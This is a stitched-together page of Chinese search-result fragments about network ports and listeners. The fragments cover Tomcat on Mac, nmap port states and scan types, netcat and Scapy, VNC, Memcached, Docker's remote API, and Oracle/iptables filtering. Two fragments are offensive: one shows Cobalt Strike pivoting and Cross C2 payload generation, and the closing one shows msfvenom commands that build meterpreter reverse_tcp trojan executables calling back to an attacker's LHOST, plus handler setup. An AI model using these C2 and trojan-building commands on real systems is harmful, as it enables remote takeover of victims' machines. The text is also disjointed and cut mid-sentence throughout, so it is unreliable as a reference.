SCPlugin这个软件相对而言更像TortoiseSVN,下载安装完后,在Applications里会出现一个SCToolbarButton的按钮,将此按钮拖到Dock的工具栏中,就可以使用了。...使用时,只需选中相应的文件夹,然后点击工具栏中的按钮进行相应的操作。
Tomcat安装 Tomcat并不区分Linux版和Mac版(但Windows版却是要区分的),下载下来就是一个tar.gz包,真正的绿色软件,解压,放到合适的位子去,就算完成安装了。...且慢,由于系统权限的问题,80端口不是随随便便谁都能开启的,你需要root权限来运行Tomcat,否则绑定端口就会失败。我建议是放弃,毕竟谁会用自己的Mac来做服务器呢?...但我会把8080改为8079,这是因为后面用IntelliJ调试程序的时候,IntelliJ会启动新的Tomcat实例,大家都习惯性地使用8080这个端口,为了避免这个冲突,把默认的8080改一下是有必要的...顺便提一下,在Mac下想知道哪些端口被占用了,可以用: $sudo lsof -i | grep LISTEN 在Linux下可以用netstat,但Mac下的netstat命令貌似跟Linux下的出入蛮大...注意看IntelliJ的输出窗口里有什么提示信息,如果有,想想看是什么原因,我常常会碰到一些端口无法打开的问题,一般都是端口被占用了。
open 表示目标机器上的应用程序正在该端口监听连接/报文。 filtered 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,nmap 无法得知它的状态是 open 还是 closed。...closed 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对 nmap 的探测做出响应,但是 nmap 无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered。...当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行 IP 协议扫描时 (-sO),nmap 提供关于所支持的 IP 协议而不是正在监听的端口的信息。... 设置 IP 生存时间字段 --spoof-mac mac address/prefix/vendor name> 要求 mmap 为其发送的所有原始以太网帧使用给定的 MAC 地址...输出中 open 表示指定端口正在被监听。
Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。...Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。...closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。...当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。...: 00:0C:29:EB:4C:D4 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux
8、被动的OS指纹提取:你可以被动地(不必主动发送数据包)获取局域网上计算机系统的详细信息,包括操作系统版本、运行的服务、打开的端口、IP地址、MAC地址和网卡的生产厂家等信息。...-m,-macsniff 基于MAC的监听 适用于监听远程的TCP通信。...-h,–help 在屏幕上显示帮助信息,对每一个选项都有一个简短的描述。 静音方式选项(仅可以和-N选项连用) -t,-proto 仅监听协议PROTO的数据包(缺省为TCP+UDP)。...如果你不希望收集SSH连接 信息,但收集其他所有协议的数据的时候,这个选项很有用。如果你已知某一台主机在端口4567上提供telnet服务,只要把telnet解码移动到 4567/tcp就可以了。...Linux 2.6.x FreeBSD 4.x 5.x OpenBSD 2.[789] 3.x NetBSD 1.5 Mac OS X (darwin 6.x 7.x) Windows 2000
跳板功能: 启动 SOCKS 跳板(pivoting) socks 1234 反向端口转发 rportfwd [监听端口] [转发的主机] [转发的端口] rportfwd 命令要求 SSH 守护进程的...连接到一个 TCP Beacon connect [主机] [端口] 创建一个反向 TCP Beacon 监听器 [会话] → Pivoting → Listener 注: Pivot Listener...0x02 方法二:Cross C2 项目 Cross C2 项目是一个可以生成 Linux/Mac OS 的 CS payload 的跨平台项目。...操作过程中要注意如下几点: 要在 Linux/Mac OS 系统下起 CS 客户端,Windows 下不可以。 使用 windows/beacon_https/reverse_https 监听器。...' / 'x64' [ex]: genCrossC2 127.0.0.1 监听端口 null null MacOS x64 .
(信宿)上,点到点通信。...2、在客户端的传输层,把HTTP会话请求分成报文段,添加源和目的端口,如服务器使用80端口监听客户端的请求,客户端由系统随机选择一个端口如5000,与服务器进行交换,服务器把相应的请求返回给客户端的5000...4、客户端的链路层,包通过链路层发送到路由器,通过邻居协议查找给定IP地址的MAC地址,然后发送ARP请求查找目的地址,如果得到回应后就可以使用ARP的请求应答交换的IP数据包现在就可以传输了,然后发送...(默认80端口);浏览器发送GET请求,包含网站的路径,TCP协议栈组装为TCP包,通过网卡发送;浏览器等待网站回复,进程被OS切换为等待状态;网站返回的数据到来,网卡产生中断;OS处理中断,TCP协议栈将数据读入...buffer;浏览器获得数据,处理HTTP头,显示HTML网页 更多:OS发ARP包获得网关MAC地址,所有DNS请求、网站TCP等数据包均发向该网关;浏览器IO等待期间OS切换运行系统中其他进程;浏览器将
前言: mac系统发展速度确实很快,短短数年,mac os上已经能网银支付(中行、招行、工商、支付宝等均已全面支持mac os了),windows上的经典常用软件:qq、飞信、旺旺、有道词典、有道云笔记...与机器名的映射,否则监听器将启动失败。...2.5 设置cent os防火墙 经历千辛万苦安装好以后,如果大家迫不急待的在mac os主机中,用sql developer之类的工具,连接cent os中的oracle xe,会发现死活连接不上!...永久关闭防火墙 chkconfig iptables off 永久关闭防火墙后,再启用 chkconfig iptables on 2.6 从mac os连接 cent os上的oracle xe a...c) 在mac os主机上,验证 先参考前面的处理,修改防火墙配置,把8080,9990这二个端口打开,然后就可以在mac os主机,浏览http://localhost:9990/ ?
最近因为换了Mac,以前的Linux基本上不再使用了,但是我的SS代理还得用。SS代理大家都了解,一个很NB的Socket代理工具,但是就是因为他是Socket的,想用HTTP代理的时候很不方便。...启动代理监听 要想做一个HTTP Proxy,我们需要启动一个服务器,监听一个端口,用于接收客户端的请求。Golang给我们提供了强大的net包供我们使用,我们启动一个代理服务器监听非常方便。...= nil { log.Panic(err) } 以上代理我们就实现了一个在8080端口上监听的服务器,我们这里没有写ip地址,默认在所有ip地址上进行监听。...:443 Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit...keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0)
nmap 发起两个 SYN 的请求,服务器上监听在此端口的进程会进行应答,会返回 SYN/ACK, nmap 收到服务端返还回来的应答后会发送两个 RST ,并不会和服务端建立通信连接,完成端口的探测。...nmap 发起两个 SYN 的请求,服务器上由于没有进程监听该端口,内核会返回 RST, nmap 收到服务端返还回来的 RST 报文,将探测结果定义为 closed 。 Filtered:过滤状态。...报文, snmp 收到服务端发送来的 RST 报文后,确认服务端没有对报文进行丢弃处理,注意本探测不能发现端口是开放还是关闭状态,只能确认探测的报文服务端已收到,并回复给了 snmp RST报文。...这种状态主要是nmap无法区别端口处于 open 状态还是 filtered 状态。这种状态长出现于UDP端口,参考后续 UDP 中的解释。 closed|filtered:关闭或者过滤状态。...\"\x20:\x20\"\"}\]}"); MAC Address: C8:FF:28:E8:B8:AD (Liteon Technology) Service Info: OS: Windows;
Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。...这些探测的目的是获得响应以显示某个IP地址是否是活动的(正在被某 主机或者网络设备使用)。 在许多网络上,在给定的时间,往往只有小部分的IP地址是活动的。...open(开放的) 应用程序正在该端口接收TCP 连接或者UDP报文 closed(关闭的) 关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。...被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。...它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。
amqp 53095/tcp open unknown MAC Address: 00:0C:29:48:80:95 (VMware) 注:生产环境下,我们只需要开启正在提供服务的端口,其他端口都关闭...-9 1781 总结:例3这个思路主要用于找出黑客监听的后门端口和木马存放的路径。...如果对方返回 SYN|ACK(响应)包就表示目标端口正在监听; 如果返回 RST 数据包,就表示目标端口没有监听程序;如果收到一个SYN|ACK 包,源主机就会马上发出一个 RST(复位)数据包断开和目标主机的连接...,这实际上由我们的操作系统内核自动完成的。...,all TCP ports nmap -p 1-65536 -T4 -A -v 扫描所有 TCP 端口,范围在 1-65535,试图扫描所有端口的开放情况,速度比较慢。
-k set keepalive option on socket -l 监听模式, 入站链接 -n 只使用 IP 地址不通过 DNS解析 -o file 使用十六进制 -p port 本地端口号...-g/–source-port :使用给定的端口号 –proxies : Relay 通过使用 HTTP/SOCKS4 代理 –data : 用指定的IP选项发送数据包 –ttl : 设置ip到达目标的时间 –spoof-mac mac address/prefix/vendor name>:欺骗本地MAC...地址 –badsum:发送用来效验的伪造数据包 TCP/UDP/SCTP 输出: -oN/-oX/-oS/-oG :输出正常的扫描, XML格式, s|的数据库管理系统文件系统中读取一个文件 –file-write=WFILE 在后台的数据库管理系统文件系统上写一个本地文件 –file-dest=DFILE
为了向给定端口发送 TCP SYN 请求,我们首先需要构建请求的各个层面。...和 Scapy 中的技巧相似,Nmap 监听响应并通过分析响应中所激活的 TCP 标识来识别开放端口。我们也可以使用 Namp 执行多个特定端口的扫描,通过传递逗号分隔的端口号列表。...虽然这个技巧在是被多数设备上很高效,但是也可能无法识别模糊的服务或者不常见的端口组合。如果扫描在所有可能的 TCP 端口上执行,所有可能的端口地址值都需要被扫描。...为了展示完整三次握手的成功建立,我们使用 Netcat 建立 TCP 监听服务。之后尝试使用 Scapy 连接开放的端口。...这个例子中,我们在 TCP 端口 4444 开启了监听服务。我们之后可以修改之前的脚本来尝试连接 端口 4444 上的 Netcat 监听服务。 #!
1.2 VNC组成VNC基本上是由两部分组成,在任何安装了客户端的应用程序(vncviewer)的计算机都能十分方便地与安装了服务器端的应用程序(vncserver)的计算机相互连接。...客户端的应用程序vncviewer服务器端的应用程序vncserver1.3 常见的VNC工具RealVNC:是一款功能强大的VNC工具,支持多种操作系统,包括Windows、Linux、Mac OS...TigerVNC:是一个开源的VNC工具,支持Windows、Linux以及Mac OS X等多种操作系统,具有稳定性和高性能。...service,那么对应启动的端口就是 5902。...vncserver监听端口[root@jeven ~]# ss -tunlp |grep vnctcp LISTEN 0 5 *:5901
API 服务默认监听的是 TCP 2375 端口,为了保证安全,Docker 安装后默认不会启用远程 API 服务,因为这个服务默认不做权限认证。...如果你的防火墙或者安全组允许了 2375 端口访问,同时也开启了 Docker 默认的远程 API 服务,那么大几率你的服务器会被拿来挖矿......同样的,2375 端口也可以修改。...:* LISTEN 32316/dockerd MacOS 在 Mac 下无法直接修改配置文件来开启远程 API 服务,后来在 docker/for-mac 的...可以运行一个 socat 容器,将 unix socket 上的 Docker API 转发到 MacOS 上指定的端口中: docker run -d -v /var/run/docker.sock:
Memcached 支持许多平台:Linux、FreeBSD、Solaris、Mac OS,也可以安装在Windows上。 Linux系统安装memcached,首先要先安装libevent库。...解压源码 cd memcached-1.x.x 进入目录 ....启动选项: -d是启动一个守护进程; -m是分配给Memcache使用的内存数量,单位是MB; -u是运行Memcache的用户; -l是监听的服务器IP地址,可以有多个地址; -p是设置Memcache...监听的端口,,最好是1024以上的端口; -c是最大运行的并发连接数,默认是1024; -P是设置保存Memcache的pid文件。...这样就在前台启动了memcached,监听TCP端口11211,最大内存使用量为64M。调试信息的内容大部分是关于存储的信息。
② 一定要许可或不要禁止数据库服务器本机的IP地址,否则通过lsnrctl将不能启动或停止监听,因为该过程监听程序会通过本机的IP访问监听器,而该IP被禁止了,但是通过服务启动或关闭则不影响。...在Oracle 9i之前的版本使用文件protocol.ora。 ⑦ 在服务器上直接连接数据库不受影响。 ⑧ 这种限制方式是通过监听器来限制的。...禁止某个MAC地址的某个端口服务 iptables -I Filter -p tcp -m mac --mac-source 00:20:18:8F:72:F8 --dport 80 -j DROP...② 一定要许可或不要禁止数据库服务器本机的IP地址,否则通过lsnrctl将不能启动或停止监听,因为该过程监听程序会通过本机的IP访问监听器,而该IP被禁止了,但是通过服务启动或关闭则不影响。...在Oracle 9i之前的版本使用文件protocol.ora。 ⑦ 在服务器上直接连接数据库不受影响。 ⑧ 这种限制方式是通过监听器来限制的。
/meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口 msfvenom -p windows/x64/meterpreter/reverse_tcp.../meter_re_tcp_x64.exe LHOST=本地ip LPORT=本地端口 运行监听: 先进入使用模块 run exploit 二、MSF木马.../meter_re_tcp_x86.exe LHOST=本地ip LPORT=本地端口 msfconsole -r file (文件中写相关命令,msfmu 会自动读取文件并执行) 三、...)/stage/stager eg:windows/x64/meterpreter/reverse_tcp meterpreter:stage reverse_tcp:stager 攻击成功...#生成木马 handler -H 连接ip -P 连接端口 -n 名字 -p payload MSF-Mac攻击 OSX 和linux一样 MSF-Andriod&IOS攻击 MSF-生成跨平台木马